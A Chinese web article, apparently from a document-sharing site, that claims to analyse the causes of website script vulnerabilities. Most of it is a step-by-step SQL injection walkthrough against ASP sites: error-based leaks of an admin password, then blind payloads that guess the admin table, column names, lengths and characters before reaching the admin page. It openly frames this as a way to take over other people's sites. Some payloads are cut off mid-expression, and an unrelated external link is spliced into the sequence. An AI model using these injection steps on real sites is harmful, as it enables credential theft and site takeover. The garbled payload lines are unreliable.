分析網(wǎng)站腳本漏洞形成的原因

時間:2023-05-01 12:05:50 資料 我要投稿
  • 相關推薦

分析網(wǎng)站腳本漏洞形成的原因

由于編寫網(wǎng)頁程序這個行業(yè)的入門門檻不高,程序員的水平及經(jīng)驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。

相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基于iis的asp程序http://localhost/test/show.asp?ID=3,將這個網(wǎng)址提交到服務器后,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數(shù),本例即是3),再將查詢結果返回給客戶端,如果這里客戶端故意提交這么一個網(wǎng)址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:

·錯誤類型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 ’test’ 轉換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。

/test/show.asp, 第 34 行

從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數(shù)據(jù)庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數(shù)據(jù)的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網(wǎng)站管理員的帳號和密碼。比如當知道網(wǎng)站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這里接著從客戶端提交這樣一個網(wǎng)址:

http://localhost/test/show.asp?ID=4 and (Select password fro

m login where user_name=’admin’)>0,返回的出錯信息如下:

·錯誤類型:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 ’admin888’ 轉換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。

/test/show.asp, 第 34 行

現(xiàn)在出來了“admin888”就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網(wǎng)站了!當然我們并不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個工具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數(shù)據(jù)庫的注入基礎,我們再看一看acce數(shù)據(jù)庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇

“屬性”,在彈出來的對話框中選擇“高級”選項卡,接著去掉“顯示友好的HTTP錯誤信息”前面的鉤,最后點擊“應用”按鈕即可。

對于sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xxxx.com/xxx.asp?id=xx的url后加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx’

如果出現(xiàn)錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數(shù)據(jù)庫,1=1是一個恒等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那么一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恒不等式,如果該站點支持數(shù)據(jù)庫查詢,則大概會返回如下所示的信息:

Microsoft vbscript 編譯器錯誤 錯誤碼率

‘800a03f6’

缺少’End’

/iishelp/common/500-100.asp,行242

ADODB.Field 錯誤 ‘800a0bcd’

一般出現(xiàn)以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:

如: 打開:http://hostlocal/test2/list.asp?id=17在其后面加'為http://hostlocal/test2/list.asp?id=17'

出錯!顯示為:“數(shù)據(jù)庫出錯”。那么接下來我們便進行如下操作:

1 猜管理員帳號表。

2 猜相應表中的用戶的字段名以及密碼的字段名。

3 猜出用戶名的長度和密碼的長度

4 猜出用戶和密碼

5 找到管理頁面進入管理

猜管理員的表:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值

返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。

猜用戶的字段名:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回錯誤信息,表示沒有user這個用戶段名

再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa')

沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa

猜密碼的字段名:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(i

d) from admin where passwd='aaa')返回錯誤信息表示沒有passwd這個密碼字段名。

再來:http://hostlocal/test2/list.asp?id=17 and 1=(select

min(id) from admin where password=aaa')沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admi

n中存在password這個字段,只是密碼不是aaa

猜用戶字段名長度: http://http://m.clearvueentertainment.com/news/55AE9092A68FE081.html

http://hostlocal/test2/list.asp?id=17 and 1=(select min(

id) from admin where len(username)

>5)

正確

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

正確

用戶名長度大于5小于10

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)

=7)

呵``` 用戶名長度為7位

猜密碼長度:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)

正確

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)

正確

密碼長度也是大于5小于10

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)

呵``` 密碼長度為7位

猜用戶名:

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a')

用戶名第一個字母是:a

猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=

(select min(id) from admin where mid(username,2,1)='b')

以此類推!

猜密碼:

猜密碼跟猜用戶名一樣!

http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a')

猜完后來到管理頁面:

http://hostlocal/test2/admin.asp

【分析網(wǎng)站腳本漏洞形成的原因】相關文章:

天的含義及詞義形成原因分析05-02

信息安全漏洞原因11-03

空心板梁早期裂縫的形成原因分析與控制05-02

網(wǎng)絡求職招聘人才網(wǎng)站系統(tǒng)正式版漏洞漏洞預警10-31

內(nèi)蒙古呼倫湖沙丘帶形成原因分析04-28

古河道、古湖泊形成的原因分析及防治措施有哪些01-11

地震云形成的分析04-27

瀝青混凝土路面坑槽形成原因及修補方法分析04-27

常見電子商務系統(tǒng)漏洞分析04-26

嬰兒依戀心理形成原因12-16